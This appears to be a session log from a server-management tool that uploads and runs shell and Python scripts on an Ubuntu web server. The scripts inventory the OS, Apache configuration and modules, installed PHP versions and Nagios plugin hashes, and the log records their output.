MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 19:50:48: Establishing a connection
2025-12-31 19:50:49: Performing Server Status
2025-12-31 19:50:49: 

PUT: /tmp/pkp261968

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-31 19:50:50: 

chmod 755 /tmp/pkp261968; /tmp/pkp261968; rm /tmp/pkp261968

2025-12-31 19:50:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		2816		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-31 19:50:50: 

PUT: /tmp/pkp487043

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-31 19:50:50: 

chmod 755 /tmp/pkp487043; /tmp/pkp487043; rm /tmp/pkp487043

2025-12-31 19:50:51: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 437995
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      437995  0.0  0.2 256144 35152 ?        Ss   Dec19   0:34 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2025-12-31 19:50:51: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'rog',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2025-12-31 19:50:51: 

PUT: /tmp/pkp381990

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-31 19:50:51: 

chmod 755 /tmp/pkp381990; /tmp/pkp381990; rm /tmp/pkp381990

2025-12-31 19:50:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2025-12-31 19:50:52: 

PUT: /tmp/pkp617468

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-31 19:50:52: 

chmod 755 /tmp/pkp617468; /tmp/pkp617468; rm /tmp/pkp617468

2025-12-31 19:50:53: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16


2025-12-31 19:50:53: 

PUT: /tmp/pkp447555

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-31 19:50:53: 

chmod 755 /tmp/pkp447555; /tmp/pkp447555; rm /tmp/pkp447555

2025-12-31 19:50:54: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
